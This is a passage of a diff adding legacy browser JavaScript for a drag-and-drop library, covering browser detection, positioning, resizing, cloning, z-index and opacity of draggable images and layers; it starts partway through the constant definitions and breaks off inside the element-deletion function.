+var NO_DRAG              = 'N0d4Ag';  // i  img,lyr  disable draggability
+var RESET_Z              = 'r35E7z';  // gi img,lyr  reset z-index when dropped
+var RESIZABLE          = 'r5IZbl';  // gi img,lyr  resizable if <ctrl> or <shift> pressed
+var SCALABLE            = 'SCLbl';   // gi img,lyr  scalable              "
+var SCROLL                = 'sC8lL';   // gi img,lyr  enable auto scroll functionality
+var TRANSPARENT          = 'dIApHAn'; // gi img,lyr  translucent while dragged
+var VERTICAL            = 'V3Rt1C';  // i  img,lyr  vertically draggable only
+var dd_cursors = new Array(
+       'c:default',
+       'c:crosshair',
+       'c:e-resize',
+       'c:hand',
+       'c:help',
+       'c:move',
+       'c:n-resize',
+       'c:ne-resize',
+       'c:nw-resize',
+       'c:s-resize',
+       'c:se-resize',
+       'c:sw-resize',
+       'c:text',
+       'c:w-resize',
+       'c:wait'
+);
+var dd_i = dd_cursors.length; while(dd_i--)
+       eval('var CURSOR_' + (dd_cursors[dd_i].substring(2).toUpperCase().replace('-', '_')) + ' = "' + dd_cursors[dd_i] + '";');
+var dd_u = "undefined";
+function WZDD()
+{
+       this.elements = new Array(0);
+       this.obj = null;
+       this.n = navigator.userAgent.toLowerCase();
+       this.db = (document.compatMode && document.compatMode.toLowerCase() != "backcompat")?
+               document.documentElement
+               : (document.body || null);
+       this.op = !!(window.opera && document.getElementById);
+       if(this.op) document.onmousedown = new Function('e',
+               'if(((e = e || window.event).target || e.srcElement).tagName == "IMAGE") return false;');
+       this.ie = !!(this.n.indexOf("msie") >= 0 && document.all && this.db && !this.op);
+       this.iemac = !!(this.ie && this.n.indexOf("mac") >= 0);
+       this.ie4 = !!(this.ie && !document.getElementById);
+       this.n4 = !!(document.layers && typeof document.classes != dd_u);
+       this.n6 = !!(typeof window.getComputedStyle != dd_u && typeof document.createRange != dd_u);
+       this.w3c = !!(!this.op && !this.ie && !this.n6 && document.getElementById);
+       this.ce = !!(document.captureEvents && document.releaseEvents);
+       this.px = this.n4? '' : 'px';
+       this.tiv = this.w3c? 40 : 10;
+}
+var dd = new WZDD();
+
+dd.Int = function(d_x, d_y)
+{
+       return isNaN(d_y = parseInt(d_x))? 0 : d_y;
+};
+dd.getWndW = function()
+{
+       return dd.Int(
+               (dd.db && !dd.op && !dd.w3c && dd.db.clientWidth)? dd.db.clientWidth
+               : (window.innerWidth || 0)
+       );
+};
+dd.getWndH = function()
+{
+       return dd.Int(
+               (dd.db && !dd.op && !dd.w3c && dd.db.clientHeight)? dd.db.clientHeight
+               : (window.innerHeight || 0)
+       );
+};
+dd.getScrollX = function()
+{
+       return dd.Int(window.pageXOffset || (dd.db? dd.db.scrollLeft : 0));
+};
+dd.getScrollY = function()
+{
+       return dd.Int(window.pageYOffset || (dd.db? dd.db.scrollTop : 0));
+};
+dd.getPageXY = function(d_o)
+{
+       if(dd.n4 && d_o)
+       {
+               dd.x = d_o.pageX || 0;
+               dd.y = d_o.pageY || 0;
+       }
+       else
+       {
+               dd.x = dd.y = 0; //global helper vars
+               while(d_o)
+               {
+                       dd.x += dd.Int(d_o.offsetLeft);
+                       dd.y += dd.Int(d_o.offsetTop);
+                       d_o = d_o.offsetParent || null;
+               }
+       }
+};
+dd.getCssXY = function(d_o)
+{
+       if(d_o.div)
+       {
+               if(dd.n4)
+               {
+                       d_o.cssx = d_o.div.x;
+                       d_o.cssy = d_o.div.y;
+               }
+               else if(dd.ie4)
+               {
+                       d_o.cssx = d_o.css.pixelLeft;
+                       d_o.cssy = d_o.css.pixelTop;
+               }
+               else
+               {
+                       d_o.css.left = d_o.css.top = 0 + dd.px;
+                       dd.getPageXY(d_o.div);
+                       d_o.cssx = d_o.x - dd.x;
+                       d_o.cssy = d_o.y - dd.y;
+                       d_o.css.left = d_o.cssx + dd.px;
+                       d_o.css.top = d_o.cssy + dd.px;
+               }
+       }
+       else
+       {
+               d_o.cssx = 0;
+               d_o.cssy = 0;
+       }
+};
+dd.getImgW = function(d_o)
+{
+       return d_o? dd.Int(d_o.width) : 0;
+};
+dd.getImgH = function(d_o)
+{
+       return d_o? dd.Int(d_o.height) : 0;
+};
+dd.getDivW = function(d_o)
+{
+       return dd.Int(
+               dd.n4? (d_o.div? d_o.div.clip.width : 0)
+               : d_o.div? (d_o.div.offsetWidth || d_o.css.pixelWidth || d_o.css.width || 0)
+               : 0
+       );
+};
+dd.getDivH = function(d_o)
+{
+       return dd.Int(
+               dd.n4? (d_o.div? d_o.div.clip.height : 0)
+               : d_o.div? (d_o.div.offsetHeight || d_o.css.pixelHeight || d_o.css.height || 0)
+               : 0
+       );
+};
+dd.getWH = function(d_o)
+{
+       d_o.w = dd.getDivW(d_o);
+       d_o.h = dd.getDivH(d_o);
+       if(d_o.css)
+       {
+               d_o.css.width = d_o.w + dd.px;
+               d_o.css.height = d_o.h + dd.px;
+               d_o.dw = dd.getDivW(d_o)-d_o.w;
+               d_o.dh = dd.getDivH(d_o)-d_o.h;
+               d_o.css.width = (d_o.w-d_o.dw) + dd.px;
+               d_o.css.height = (d_o.h-d_o.dh) + dd.px;
+       }
+       else d_o.dw = d_o.dh = 0;
+};
+dd.getCssProp = function(d_o, d_pn6, d_pstyle, d_pn4)
+{
+       if(d_o && dd.n6) return ''+window.getComputedStyle(d_o, null).getPropertyValue(d_pn6);
+       if(d_o && d_o.currentStyle) return ''+eval('d_o.currentStyle.'+d_pstyle);
+       if(d_o && d_o.style) return ''+eval('d_o.style.'+d_pstyle);
+       if(d_o && dd.n4) return ''+eval('d_o.'+d_pn4);
+       return '';
+};
+dd.getDiv = function(d_x, d_d)
+{
+       d_d = d_d || document;
+       if(dd.n4)
+       {
+               if(d_d.layers[d_x]) return d_d.layers[d_x];
+               for(var d_i = d_d.layers.length; d_i--;)
+               {
+                       var d_y = dd.getDiv(d_x, d_d.layers[d_i].document);
+                       if(d_y) return d_y;
+               }
+       }
+       if(dd.ie) return d_d.all[d_x] || null;
+       if(d_d.getElementById) return d_d.getElementById(d_x) || null;
+       return null;
+};
+dd.getImg = function(d_o, d_nm, d_xy, d_w)
+{
+       d_w = d_w || window;
+       var d_img;
+       if(document.images && (d_img = d_w.document.images[d_nm]))
+       {
+               if(d_xy)
+               {
+                       if(dd.n4)
+                       {
+                               dd.getPageXY(d_w);
+                               d_o.defx = d_img.x + dd.x;
+                               d_o.defy = d_img.y + dd.y;
+                       }
+                       else
+                       {
+                               dd.getPageXY(d_img);
+                               d_o.defx = dd.x;
+                               d_o.defy = dd.y;
+                       }
+               }
+               return d_img;
+       }
+       if(dd.n4) for(var d_i = d_w.document.layers.length; d_i--;)
+       {
+               var d_y = dd.getImg(d_o, d_nm, d_xy, d_w.document.layers[d_i]);
+               if(d_y) return d_y;
+       }
+       return null;
+};
+dd.getParent = function(d_o, d_p)
+{
+       if(dd.n4)
+       {
+               for(d_p, d_i = dd.elements.length; d_i--;)
+               {
+                       if(!((d_p = dd.elements[d_i]).is_image) && d_p.div && (d_p.div.document.layers[d_o.name] || d_o.oimg && d_p.div.document.images[d_o.oimg.name]))
+                               d_p.addChild(d_o, d_p.detach, 1);
+               }
+       }
+       else
+       {
+               d_p = d_o.is_image? dd.getImg(d_o, d_o.oimg.name) : (d_o.div || null);
+               while(d_p && !!(d_p = d_p.offsetParent || d_p.parentNode || null))
+               {
+                       if(d_p.ddObj)
+                       {
+                               d_p.ddObj.addChild(d_o, d_p.ddObj.detach, 1);
+                               break;
+                       }
+               }
+       }
+};
+dd.getCmd = function(d_o, d_cmd, d_cmdStr)
+{
+       var d_i = d_o.id.indexOf(d_cmd), d_j,
+       d_y = (d_i >= 0)*1;
+       if(d_y)
+       {
+               d_j = d_i+d_cmd.length;
+               if(d_cmdStr) d_o.cmd += d_o.id.substring(d_i, d_j);
+               d_o.id = d_o.id.substring(0, d_i) + d_o.id.substring(d_j);
+       }
+       return d_y;
+};
+dd.getCmdVal = function(d_o, d_cmd, d_cmdStr, int0)
+{
+       var d_i = d_o.id.indexOf(d_cmd), d_j,
+       d_y = (d_o.id.indexOf(d_cmd) >= 0)? dd.Int(d_o.id.substring(d_o.id.indexOf(d_cmd)+d_cmd.length)) : int0? -1 : 0;
+       if(!int0 && d_y || int0 && d_y >= 0)
+       {
+               d_j = d_i+d_cmd.length+(""+d_y).length;
+               if(d_cmdStr) d_o.cmd += d_o.id.substring(d_i, d_j);
+               d_o.id = d_o.id.substring(0, d_i) + d_o.id.substring(d_j);
+       }
+       return d_y;
+};
+dd.addElt = function(d_o, d_p)
+{
+       dd.elements[d_o.name] = dd.elements[d_o.index = dd.elements.length] = d_o;
+       if(d_p) d_p.copies[d_o.name] = d_p.copies[d_p.copies.length] = d_o;
+};
+dd.mkWzDom = function()
+{
+       var d_o, d_i = dd.elements.length; while(d_i--) dd.getParent(dd.elements[d_i]);
+       d_i = dd.elements.length; while(d_i--)
+       {
+               d_o = dd.elements[d_i];
+               if(d_o.children && !d_o.parent)
+               {
+                       var d_j = d_o.children.length; while(d_j--)
+                               d_o.children[d_j].setZ(d_o.z+d_o.children[d_j].z, 1);
+               }
+       }
+};
+dd.addProps = function(d_o)
+{
+       var d_i, d_c;
+       if(d_o.is_image)
+       {
+               d_o.div = dd.getDiv(d_o.id);
+               d_o.css = (d_o.div && typeof d_o.div.style != dd_u)? d_o.div.style : null;
+               d_o.nimg = (dd.n4 && d_o.div)? d_o.div.document.images[0] : (document.images[d_o.id+"NI1m6G"] || null);
+               if(!d_o.noalt && !dd.noalt && d_o.nimg && d_o.oimg)
+               {
+                       d_o.nimg.alt = d_o.oimg.alt || '';
+                       if(d_o.oimg.title) d_o.nimg.title = d_o.oimg.title;
+               }
+               d_o.bgColor = '';
+       }
+       else
+       {
+               d_o.bgColor = dd.getCssProp(d_o.div, 'background-color','backgroundColor','bgColor').toLowerCase();
+               if(dd.n6 && d_o.div)
+               {
+                       if((d_c = d_o.bgColor).indexOf('rgb') >= 0)
+                       {
+                               d_c = d_c.substring(4, d_c.length-1).split(',');
+                               d_o.bgColor = '#';
+                               for(d_i = 0; d_i < d_c.length; d_i++) d_o.bgColor += parseInt(d_c[d_i]).toString(0x10);
+                       }
+                       else d_o.bgColor = d_c;
+               }
+       }
+       if(dd.scalable) d_o.scalable = d_o.resizable^1;
+       else if(dd.resizable) d_o.resizable = d_o.scalable^1;
+       d_o.setZ(d_o.defz);
+       d_o.cursor = d_o.cursor || dd.cursor || 'auto';
+       d_o._setCrs(d_o.nodrag? 'auto' : d_o.cursor);
+       d_o.diaphan = d_o.diaphan || dd.diaphan || 0;
+       d_o.opacity = 1.0;
+       d_o.visible = true;
+};
+dd.initz = function()
+{
+       if(!(dd && (dd.n4 || dd.n6 || dd.ie || dd.op || dd.w3c))) return;
+       else if(dd.n6 || dd.ie || dd.op || dd.w3c) dd.recalc(1);
+       var d_drag = (document.onmousemove == DRAG),
+       d_resize = (document.onmousemove == RESIZE);
+       if(dd.loadFunc) dd.loadFunc();
+       if(d_drag) dd.setMovHdl(DRAG);
+       else if(d_resize) dd.setMovHdl(RESIZE);
+       if(d_drag || d_resize) dd.setUpHdl(DROP);
+       dd.setDwnHdl(PICK);
+};
+dd.finlz = function()
+{
+       if(dd.ie && dd.elements)
+       {
+               var d_i = dd.elements.length; while(d_i--)
+                       dd.elements[d_i].del();
+       }
+       if(dd.uloadFunc) dd.uloadFunc();
+};
+dd.setCe = function(d_e, d_fnc)
+{
+       d_fnc? document.captureEvents(d_e) : document.releaseEvents(d_e);
+};
+dd.setDwnHdl = function(d_x)
+{
+       if(document.onmousedown != d_x)
+       {
+               dd.downFunc = document.onmousedown;
+               document.onmousedown = d_x;
+               if(dd.ce) dd.setCe(Event.MOUSEDOWN, d_x);
+       }
+};
+dd.setMovHdl = function(d_x)
+{
+       if(document.onmousemove != d_x)
+       {
+               dd.moveFunc = document.onmousemove;
+               document.onmousemove = d_x;
+               if(dd.ce) dd.setCe(Event.MOUSEMOVE, d_x);
+       }
+};
+dd.setUpHdl = function(d_x)
+{
+       if(document.onmouseup != d_x)
+       {
+               dd.upFunc = document.onmouseup;
+               document.onmouseup = d_x;
+               if(dd.ce) dd.setCe(Event.MOUSEUP, d_x);
+       }
+};
+dd.evt = function(d_e)
+{
+       this.but = (this.e = d_e || window.event).which || this.e.button || 0;
+       this.button = (this.e.type == 'mousedown')? this.but
+               : (dd.e && dd.e.button)? dd.e.button
+               : 0;
+       this.src = this.e.target || this.e.srcElement || null;
+       this.src.tag = ("" + (this.src.tagName || this.src)).toLowerCase();
+       this.x = dd.Int(this.e.pageX || this.e.clientX || 0);
+       this.y = dd.Int(this.e.pageY || this.e.clientY || 0);
+       if(dd.ie)
+       {
+               this.x += dd.getScrollX() - (dd.ie && !dd.iemac)*1;
+               this.y += dd.getScrollY() - (dd.ie && !dd.iemac)*1;
+       }
+       this.modifKey = this.e.modifiers? this.e.modifiers&Event.SHIFT_MASK : (this.e.shiftKey || false);
+};
+dd.getEventTarget = function(d_e, d_s, d_n)
+{
+       d_e = d_e || window.event;
+       if(d_e && (d_s = d_e.target || d_e.srcElement || null) != null)
+       {
+               if(null != (d_n = d_s.id || d_s.name || null))
+               {
+                       if(d_n.indexOf("dIi15vNI1m6G") == d_n.length-12)
+                               return dd.elements[d_n.substring(0, d_n.length-12)] || null;
+                       if(d_n.indexOf("dIi15v") == d_n.length-6)
+                               return dd.elements[d_n.substring(0, d_n.length-6)] || null;
+                       return dd.elements[d_n] || null;
+               }
+       }
+       return null;
+};
+dd.recalc = function(d_x)
+{
+       var d_o, d_i = dd.elements.length; while(d_i--)
+       {
+               if(!(d_o = dd.elements[d_i]).is_image && d_o.div)
+               {
+                       dd.getWH(d_o);
+                       if(d_o.div.pos_rel)
+                       {
+                               dd.getPageXY(d_o.div);
+                               var d_dx = dd.x - d_o.x, d_dy = dd.y - d_o.y;
+                               d_o.defx += d_dx;
+                               d_o.x += d_dx;
+                               d_o.defy += d_dy;
+                               d_o.y += d_dy;
+                               var d_p, d_j = d_o.children.length; while(d_j--)
+                               {
+                                       if(!(d_p = d_o.children[d_j]).detached && (d_o != d_p.defparent || !(d_p.is_image && dd.getImg(d_p, d_p.oimg.name, 1))))
+                                       {
+                                               d_p.defx += d_dx;
+                                               d_p.defy += d_dy;
+                                               d_p.moveBy(d_dx, d_dy);
+                                       }
+                               }
+                       }
+               }
+               else if(d_o.is_image && !dd.n4)
+               {
+                       if(dd.n6 && d_x && !d_o.defw) d_o.resizeTo(d_o.defw = dd.getImgW(d_o.oimg), d_o.defh = dd.getImgH(d_o.oimg));
+                       var d_defx = d_o.defx, d_defy = d_o.defy;
+                       if(!(d_o.parent && d_o.parent != d_o.defparent) && (d_x || !d_o.detached || d_o.horizontal || d_o.vertical) && dd.getImg(d_o, d_o.oimg.name, 1))
+                               d_o.moveBy(d_o.defx-d_defx, d_o.defy-d_defy);
+               }
+       }
+};
+function WINSZ(d_x)
+{
+       if(d_x)
+       {
+               if(dd.n4)
+               {
+                       dd.iW = innerWidth;
+                       dd.iH = innerHeight;
+               }
+               window.onresize = new Function('WINSZ();');
+       }
+       else if(dd.n4 && (innerWidth != dd.iW || innerHeight != dd.iH)) location.reload();
+       else if(!dd.n4) setTimeout('dd.recalc()', 0xa);
+}
+WINSZ(1);
+
+function DDObj(d_o, d_i)
+{
+       this.id = d_o;
+       this.cmd = '';
+       this.cpy_n = dd.getCmdVal(this, COPY);
+       this.maxoffb = dd.getCmdVal(this, MAXOFFBOTTOM, 0, 1);
+       this.maxoffl = dd.getCmdVal(this, MAXOFFLEFT, 0, 1);
+       this.maxoffr = dd.getCmdVal(this, MAXOFFRIGHT, 0, 1);
+       this.maxofft = dd.getCmdVal(this, MAXOFFTOP, 0, 1);
+       var d_j = dd_cursors.length; while(d_j--)
+               if(dd.getCmd(this, dd_cursors[d_j], 1)) this.cursor = dd_cursors[d_j].substring(2);
+       this.clone = dd.getCmd(this, CLONE, 1);
+       this.detach = dd.getCmd(this, DETACH_CHILDREN);
+       this.scalable = dd.getCmd(this, SCALABLE, 1);
+       this.horizontal = dd.getCmd(this, HORIZONTAL);
+       this.noalt = dd.getCmd(this, NO_ALT, 1);
+       this.nodrag = dd.getCmd(this, NO_DRAG);
+       this.scroll = dd.getCmd(this, SCROLL, 1);
+       this.resizable = dd.getCmd(this, RESIZABLE, 1);
+       this.re_z = dd.getCmd(this, RESET_Z, 1);
+       this.diaphan = dd.getCmd(this, TRANSPARENT, 1);
+       this.vertical = dd.getCmd(this, VERTICAL);
+       this.maxw = dd.getCmdVal(this, MAXWIDTH, 1, 1);
+       this.minw = Math.abs(dd.getCmdVal(this, MINWIDTH, 1, 1));
+       this.maxh = dd.getCmdVal(this, MAXHEIGHT, 1, 1);
+       this.minh = Math.abs(dd.getCmdVal(this, MINHEIGHT, 1, 1));
+       this.pickFunc = this.dragFunc = this.resizeFunc = this.dropFunc = null;
+
+       this.name = this.id + (d_i || '');
+       this.oimg = dd.getImg(this, this.id, 1);
+       this.is_image = !!this.oimg;
+       this.copies = new Array();
+       this.children = new Array();
+       this.parent = this.original = null;
+       if(this.oimg)
+       {
+               this.id = this.name + "dIi15v";
+               this.w = dd.getImgW(this.oimg);
+               this.h = dd.getImgH(this.oimg);
+               this.dw = this.dh = 0;
+               this.defz = dd.Int(dd.getCssProp(this.oimg, 'z-index','zIndex','zIndex')) || 1;
+               this.defsrc = this.src = this.oimg.src;
+               this.htm = '<img name="' + this.id + 'NI1m6G"'+
+                       ' src="' + this.oimg.src + '" '+
+                       'width="' + this.w + '" height="' + this.h + '">';
+               this.t_htm = '<div id="' + this.id +
+                       '" style="position:absolute;'+
+                       'left:' + (this.cssx = this.x = this.defx) + 'px;'+
+                       'top:' + (this.cssy = this.y = this.defy) + 'px;'+
+                       'width:' + this.w + 'px;'+
+                       'height:' + this.h + 'px;">'+
+                       this.htm + '</div>';
+       }
+       else
+       {
+               if(!!(this.div = dd.getDiv(this.id)) && typeof this.div.style != dd_u) this.css = this.div.style;
+               dd.getWH(this);
+               if(this.div)
+               {
+                       this.div.ddObj = this;
+                       this.div.pos_rel = ("" + (this.div.parentNode? this.div.parentNode.tagName : this.div.parentElement? this.div.parentElement.tagName : '').toLowerCase().indexOf('body') < 0);
+               }
+               dd.getPageXY(this.div);
+               this.defx = this.x = dd.x;
+               this.defy = this.y = dd.y;
+               dd.getCssXY(this);
+               this.defz = dd.Int(dd.getCssProp(this.div, 'z-index','zIndex','zIndex'));
+       }
+       this.defw = this.w || 0;
+       this.defh = this.h || 0;
+}
+DDObj.prototype.setPickFunc = function(d_x)
+{
+       this.pickFunc = d_x;
+};
+DDObj.prototype.setDragFunc = function(d_x)
+{
+       this.dragFunc = d_x;
+};
+DDObj.prototype.setResizeFunc = function(d_x)
+{
+       this.resizeFunc = d_x;
+};
+DDObj.prototype.setDropFunc = function(d_x)
+{
+       this.dropFunc = d_x;
+};
+DDObj.prototype.moveBy = function(d_x, d_y, d_kds, d_o)
+{
+       if(!this.div) return;
+       this.x += (d_x = dd.Int(d_x));
+       this.y += (d_y = dd.Int(d_y));
+       if(!d_kds || this.is_image || this.parent != this.defparent)
+       {
+               (d_o = this.css || this.div).left = (this.cssx += d_x) + dd.px;
+               d_o.top = (this.cssy += d_y) + dd.px;
+       }
+       var d_i = this.children.length; while(d_i--)
+       {
+               if(!(d_o = this.children[d_i]).detached) d_o.moveBy(d_x, d_y, 1);
+               d_o.defx += d_x;
+               d_o.defy += d_y;
+       }
+};
+
+DDObj.prototype.moveTo = function(d_x, d_y)
+{
+       this.moveBy(dd.Int(d_x)-this.x, dd.Int(d_y)-this.y);
+};
+DDObj.prototype.hide = function(d_m, d_o, d_p)
+{
+       if(this.div && this.visible)
+       {
+               d_p = this.css || this.div;
+               if(d_m && !dd.n4)
+               {
+                       this.display = dd.getCssProp(this.div, "display", "display", "display");
+                       if(this.oimg)
+                       {
+                               this.oimg.display = dd.getCssProp(this.oimg, "display", "display", "display");
+                               this.oimg.style.display = "none";
+                       }
+                       d_p.display = "none";
+                       dd.recalc();
+               }
+               else d_p.visibility = "hidden";
+       }
+       this.visible = false;
+       var d_i = this.children.length; while(d_i--)
+               if(!(d_o = this.children[d_i]).detached) d_o.hide(d_m);
+};
+DDObj.prototype.show = function(d_o, d_p)
+{
+       if(this.div)
+       {
+               d_p = this.css || this.div;
+               if(d_p.display && d_p.display == "none")
+               {
+                       d_p.display = this.display || "block";
+                       if(this.oimg) this.oimg.style.display = this.oimg.display || "inline";
+                       dd.recalc();
+               }
+               else d_p.visibility = "visible";
+       }
+       this.visible = true;
+       var d_i = this.children.length; while(d_i--)
+               if(!(d_o = this.children[d_i]).detached) d_o.show();
+};
+DDObj.prototype.resizeTo = function(d_w, d_h, d_o)
+{
+       if(!this.div) return;
+       d_w = (this.w = dd.Int(d_w))-this.dw;
+       d_h = (this.h = dd.Int(d_h))-this.dh;
+       if(dd.n4)
+       {
+               this.div.resizeTo(d_w, d_h);
+               if(this.is_image)
+               {
+                       this.write('<img src="' + this.src + '" width="' + d_w + '" height="' + d_h + '">');
+                       (this.nimg = this.div.document.images[0]).src = this.src;
+               }
+       }
+       else if(typeof this.css.pixelWidth != dd_u)
+       {
+               this.css.pixelWidth = d_w;
+               this.css.pixelHeight = d_h;
+               if(this.is_image)
+               {
+                       (d_o = this.nimg.style).pixelWidth = d_w;
+                       d_o.pixelHeight = d_h;
+               }
+       }
+       else
+       {
+               this.css.width = d_w + dd.px;
+               this.css.height = d_h + dd.px;
+               if(this.is_image)
+               {
+                       (d_o = this.nimg).width = d_w;
+                       d_o.height = d_h;
+                       if(!d_o.complete) d_o.src = this.src;
+               }
+       }
+};
+DDObj.prototype.resizeBy = function(d_dw, d_dh)
+{
+       this.resizeTo(this.w+dd.Int(d_dw), this.h+dd.Int(d_dh));
+};
+DDObj.prototype.swapImage = function(d_x, d_cp)
+{
+       if(!this.nimg) return;
+       this.nimg.src = d_x;
+       this.src = this.nimg.src;
+       if(d_cp)
+       {
+               var d_i = this.copies.length; while(d_i--)
+                       this.copies[d_i].src = this.copies[d_i].nimg.src = this.nimg.src;
+       }
+};
+DDObj.prototype.setBgColor = function(d_x)
+{
+       if(dd.n4 && this.div) this.div.bgColor = d_x;
+       else if(this.css) this.css.background = d_x;
+       this.bgColor = d_x;
+};
+DDObj.prototype.write = function(d_x, d_o)
+{
+       this.text = d_x;
+       if(!this.div) return;
+       if(dd.n4)
+       {
+               (d_o = this.div.document).open();
+               d_o.write(d_x);
+               d_o.close();
+               dd.getWH(this);
+       }
+       else
+       {
+               this.css.height = 'auto';
+               this.div.innerHTML = d_x;
+               if(!dd.ie4) dd.recalc();
+               if(dd.ie4 || dd.n6) setTimeout('dd.recalc();', 0); // n6.0: recalc twice
+       }
+};
+DDObj.prototype.copy = function(d_n, d_p, d_b)
+{
+       if(!this.oimg) return;
+       d_b = (dd.ie && document.all.tags('body'))? document.all.tags('body')[0] : document.getElementsByTagName? (document.getElementsByTagName('body')[0] || dd.db) : dd.db;
+       d_n = d_n || 1;
+       while(d_n--)
+       {
+               var d_l = this.copies.length,
+               d_o = new DDObj(this.name+this.cmd, d_l+1);
+               if(dd.n4)
+               {
+                       d_o.id = (d_p = new Layer(d_o.w)).name;
+                       d_p.clip.height = d_o.h;
+                       d_p.visibility = 'show';
+                       (d_p = d_p.document).open();
+                       d_p.write(d_o.htm);
+                       d_p.close();
+               }
+               else if(d_b && d_b.insertAdjacentHTML) d_b.insertAdjacentHTML("AfterBegin", d_o.t_htm);
+               else if(document.createElement && d_b && d_b.appendChild)
+               {
+                       d_b.appendChild(d_p = document.createElement("dIi15v"));
+                       d_p.innerHTML = d_o.htm;
+                       d_p.id = d_o.id;
+                       d_p.style.position = 'absolute';
+                       d_p.style.width = d_o.w + 'px';
+                       d_p.style.height = d_o.h + 'px';
+               }
+               else if(d_b && d_b.innerHTML) d_b.innerHTML += d_o.t_htm;
+               d_o.defz = this.defz+1+d_l;
+               dd.addProps(d_o);
+               d_o.original = this;
+               dd.addElt(d_o, this);
+               if(this.parent)
+               {
+                       this.parent.addChild(d_o, this.detached);
+                       d_o.defparent = this.defparent;
+               }
+               d_o.moveTo(d_o.defx = this.defx, d_o.defy = this.defy);
+               if(dd.n4) d_o.defsrc = d_o.src = this.defsrc;
+               d_o.swapImage(this.src);
+       }
+};
+DDObj.prototype.addChild = function(d_kd, detach, defp)
+{
+       if(typeof d_kd != "object") d_kd = dd.elements[d_kd];
+       if(d_kd.parent && d_kd.parent == this || d_kd == this || !d_kd.is_image && d_kd.defparent && !defp) return;
+
+       this.children[this.children.length] = this.children[d_kd.name] = d_kd;
+       d_kd.detached = detach || 0;
+       if(defp) d_kd.defparent = this;
+       else if(this == d_kd.defparent && d_kd.is_image) dd.getImg(this, d_kd.oimg.name, 1);
+       if(!d_kd.defparent || this != d_kd.defparent)
+       {
+               d_kd.defx = d_kd.x;
+               d_kd.defy = d_kd.y;
+       }
+       if(!detach)
+       {
+               d_kd.defz = d_kd.defz+this.defz-(d_kd.parent? d_kd.parent.defz : 0)+(!d_kd.is_image*1);
+               d_kd.setZ(d_kd.z+this.z-(d_kd.parent? d_kd.parent.z : 0)+(!d_kd.is_image*1), 1);
+       }
+       if(d_kd.parent) d_kd.parent._removeChild(d_kd, 1);
+       d_kd.parent = this;
+};
+DDObj.prototype._removeChild = function(d_kd, d_newp)
+{
+       if(typeof d_kd != "object") d_kd = this.children[d_kd];
+       var d_oc = this.children, d_nc = new Array();
+       for(var d_i = 0; d_i < d_oc.length; d_i++)
+               if(d_oc[d_i] != d_kd) d_nc[d_nc.length] = d_oc[d_i];
+       this.children = d_nc;
+       d_kd.parent = null;
+       if(!d_newp)
+       {
+               d_kd.detached = d_kd.defp = 0;
+               if(d_kd.is_image) dd.getImg(d_kd, d_kd.oimg.name, 1);
+       }
+};
+DDObj.prototype.attachChild = function(d_kd)
+{
+       (d_kd = (typeof d_kd != "object")? this.children[d_kd]: d_kd).detached = 0;
+       d_kd.setZ(d_kd.defz + this.z-this.defz, 1);
+};
+DDObj.prototype.detachChild = function(d_kd)
+{
+       (d_kd = (typeof d_kd != "object")? this.children[d_kd]: d_kd).detached = 1;
+};
+DDObj.prototype.setZ = function(d_x, d_kds, d_o)
+{
+       if(d_kds)
+       {
+               var d_dz = d_x-this.z,
+               d_i = this.children.length; while(d_i--)
+                       if(!(d_o = this.children[d_i]).detached) d_o.setZ(d_o.z+d_dz, 1);
+       }
+       dd.z = Math.max(dd.z, this.z = this.div? ((this.css || this.div).zIndex = d_x) : 0);
+};
+DDObj.prototype.maximizeZ = function()
+{
+       this.setZ(dd.z+1, 1);
+};
+DDObj.prototype._resetZ = function(d_o)
+{
+       if(this.re_z || dd.re_z)
+       {
+               this.setZ(this.defz);
+               var d_i = this.children.length; while(d_i--)
+                       if(!(d_o = this.children[d_i]).detached) d_o.setZ(d_o.defz);
+       }
+};
+DDObj.prototype.setOpacity = function(d_x)
+{
+       this.opacity = d_x;
+       this._setOpaRel(1.0, 1);
+};
+DDObj.prototype._setOpaRel = function(d_x, d_kd, d_y, d_o)
+{
+       if(this.css && (this.diaphan || d_kd))
+       {
+               d_y = this.opacity*d_x;
+               if(typeof this.css.MozOpacity != dd_u) this.css.MozOpacity = d_y;
+               else if(typeof this.css.filter != dd_u)
+                       this.css.filter = "Alpha(opacity="+parseInt(100*d_y)+")";
+               else this.css.opacity = d_y;
+               var d_i = this.children.length; while(d_i--)
+                       if(!(d_o = this.children[d_i]).detached) d_o._setOpaRel(d_x, 1);
+       }
+};
+DDObj.prototype.setCursor = function(d_x)
+{
+       this._setCrs(this.cursor = (d_x.indexOf('c:')+1)? d_x.substring(2) : d_x);
+};
+DDObj.prototype._setCrs = function(d_x)
+{
+       if(this.css) this.css.cursor = ((!dd.ie || dd.iemac) && d_x == 'hand')? 'pointer' : d_x;
+};
+DDObj.prototype.setDraggable = function(d_x)
+{
+       this.nodrag = !d_x*1;
+       this._setCrs(d_x? this.cursor : 'auto');
+};
+DDObj.prototype.setResizable = function(d_x)
+{
+       this.resizable = d_x*1;
+       if(d_x) this.scalable = 0;
+};
+DDObj.prototype.setScalable = function(d_x)
+{
+       this.scalable = d_x*1;
+       if(d_x) this.resizable = 0;
+};
+DDObj.prototype.getEltBelow = function(d_ret, d_x, d_y)
+{
+       var d_o, d_cmp = -1, d_i = dd.elements.length; while(d_i--)
+       {
+               d_o = dd.elements[d_i];
+               d_x = d_o.x-this.w/2;
+               d_y = d_o.y-this.h/2;
+               if(d_o.visible && d_o.z < this.z && this.x >= d_x && this.x <= d_x+d_o.w && this.y >= d_y && this.y <= d_y+d_o.h)
+               {
+                       if(d_o.z > d_cmp)
+                       {
+                               d_cmp = d_o.z;
+                               d_ret = d_o;
+                       }
+               }
+       }
+       return d_ret;
+};
+DDObj.prototype.del = function(d_os, d_o)
+{
+       var d_i;
+       if(this.parent && this.parent._removeChild) this.parent._removeChild(this);
+       if(this.original)
+       {
+               this.hide();
+               if(this.original.copies)
+               {
+                       d_os = new Array();
+                       for(d_i = 0; d_i < this.original.copies.length; d_i++)
+                               if((d_o = this.original.copies[d_i]) != this) d_os[d_o.name] = d_os[d_os.length] = d_o;
+                       this.original.copies = d_os;
+               }
+       }
+       else if(this.is_image)
+       {
+               this.hide();
+               if(this.oimg)
+               {
+                 if(dd.n4) this.oimg.src = this.defsrc;
+                 else this.oimg.style.visibility = 'visible';
+               }
+       }
+       else if(this.moveTo)
+       {
+               if(this.css) this.css.cursor = 'default';
+               this.moveTo(this.defx, this.defy);
+               this.resizeTo(this.defw, this.defh);
+       }
+       d_os = new Array();
+       for(d_i = 0; d_i < dd.elements.length; d_i++)
+       {
+               if((d_o = dd.elements[d_i]) != this) d_os[d_o.name] = d_os[d_o.index = d_os.length] = d_o;
+               else d_o._free();
